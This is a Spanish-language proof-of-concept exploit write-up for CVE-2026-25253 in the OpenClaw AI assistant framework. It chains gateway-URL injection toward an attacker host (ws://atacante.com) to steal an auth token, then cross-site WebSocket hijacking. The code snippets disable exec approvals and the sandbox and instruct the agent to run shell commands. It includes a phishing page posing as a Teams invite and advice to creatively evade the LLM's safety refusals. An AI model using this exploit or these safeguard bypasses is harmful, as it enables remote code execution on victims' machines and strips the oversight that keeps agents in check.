
Prueba de concepto del exploit para CVE-2026-25253, que demuestra la ejecución remota de código con un solo clic en OpenClaw mediante el robo de tokens de autenticación y el secuestro de WebSocket entre sitios.
Software afectado: OpenClaw (clawbot) < v2026.1.29
ID de CVE: CVE-2026-25253
Puntuación CVSS: 8.8 (Alta)
Impacto: Un atacante remoto no autenticado puede robar un token de autenticación y lograr la ejecución remota de código en el host de la víctima
AVISO LEGAL: Este código y análisis se proporcionan únicamente con fines de investigación de seguridad autorizada y educativos. El uso de este exploit contra sistemas sin permiso explícito por escrito es ilegal y poco ético. El autor no asume ninguna responsabilidad por su uso indebido.
OpenClaw, anteriormente conocido como Clawdbot y denominado Moltbot en versiones tempranas, es un framework de asistentes de IA que se ejecuta localmente en macOS, Windows o Linux. Admite modelos basados en la nube como Anthropic y OpenAI, así como modelos locales.
La Interfaz de Control es una aplicación de una sola página, servida en /chat. Se comunica con el servidor gateway local a través de WebSocket en ws://127.0.0.1:18789/ (o wss://host:18789/ para TLS).
Características de seguridad clave de las versiones afectadas:
localStoragenoble-ed25519)type: "req", "res", "event")connectapplySettingsFromUrl()La vulnerabilidad reside en applySettingsFromUrl() en la Interfaz de Control.
Cuando se carga la Interfaz de Control, esta función lee el parámetro de consulta ?gatewayUrl= de la URL y lo almacena como el endpoint gateway activo — sin validar si apunta a un host de confianza.
Un atacante puede crear un enlace como:
http://<objetivo>/chat?gatewayUrl=ws://atacante.com
Cuando la víctima hace clic en este enlace mientras está autenticada en OpenClaw, ocurre lo siguiente automáticamente:
applySettingsFromUrl() almacena ws://atacante.com como la nueva URL del gatewayconnect — incluido el token de autenticación, el ID del dispositivo y la clave pública Ed25519 — al atacantews://127.0.0.1:18789En este PoC, el atacante aloja una página (meeting.html) que abre la propia Interfaz de Control de la víctima en una ventana emergente, inyectada con el parámetro malicioso ?gatewayUrl=:
const attackerGatewayUrl = `ws://<atacante>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
El servidor del atacante explota el mecanismo de respaldo de dos tokens de OpenClaw: el primer intento de connect utiliza el token de dispositivo (vinculado a Ed25519, no reproducible). Al rechazarlo, el servidor obliga a la Interfaz de Control a reintentar con el token de configuración — un token portador de larga duración que sí es reproducible:
// Rechazar intento #1 → obliga a la Interfaz de Control a reintentar con el token de configuración
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// Intento #2 → token de configuración → CAPTURADO
capturedToken = token;
Con el token de configuración robado, meeting.html abre su propia conexión WebSocket directa al gateway real (ws://127.0.0.1:18789). Esto es posible porque el gateway en versiones < v2026.1.29 no valida el encabezado Origin — cualquier página cargada en el navegador de la víctima puede conectarse a él.
// Desactivar todas las solicitudes de aprobación de ejecución
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// Escapar del sandbox del contenedor, redirigir la ejecución al host
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
El contenido del campo de mensaje es procesado por el LLM configurado en el agente; esto significa que, si el LLM considera que el contenido es dañino, no ejecutará el comando. Debes ser creativo para evadir las medidas de seguridad del LLM.
await sendRequest('agent', {
message: 'Ejecuta este comando de shell: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
sequenceDiagram
autonumber
actor Attacker
participant Browser as Navegador de la víctima<br/>(meeting.html)
participant CtrlUI as Interfaz de Control de OpenClaw<br/>(ventana emergente @ 127.0.0.1:18789/chat)
participant AtkWS as Servidor WS del atacante<br/>(:8080)
participant GW as Gateway real de OpenClaw<br/>(127.0.0.1:18789)
participant LLM as LLM en la nube<br/>(OpenAI / Anthropic)
Attacker->>Browser: Enlace de phishing → abre meeting.html<br/>(disfrazado como invitación de Teams)
Note over Browser: Fase 1 — Robo de token
Browser->>CtrlUI: Abre ventana emergente con ?gatewayUrl=ws://atacante:8080
Note over CtrlUI: applySettingsFromUrl() almacena<br/>el WS del atacante como gateway activo
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (rechazo — fuerza reintento)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (respuesta falsa)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Fase 2 — Secuestro del gateway (CSWSH)
Browser->>GW: Conexión WebSocket (sin validación de Origin)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Autenticado como operador
Note over Browser: Fase 3 — Evasión de seguridad
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Solicitudes de aprobación deshabilitadas
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox deshabilitado, ejecución en el host
Note over Browser: Fase 4 — Ejecución remota de código
Browser->>GW: agent { message: "Ejecuta comando de shell: COMMAND" }
GW->>LLM: Reenviar prompt (seguridad ya eliminada)
LLM-->>GW: Llamada a herramienta: exec("COMMAND")
GW->>GW: Ejecuta el comando en el sistema de archivos del HOST
GW-->>Browser: ✓ Comando ejecutado
npm install # instala la dependencia 'ws'
meeting.htmlconst GATEWAY_URL = 'ws://127.0.0.1:18789'; // gateway local de la víctima
const ATTACKER_WS_PORT = 8080; // debe coincidir con attacker-server.js
const COMMAND = 'touch /tmp/success';
node attacker-server.js
Enviar a la víctima:
http://<IP_DEL_ATACANTE>:3000/meeting.html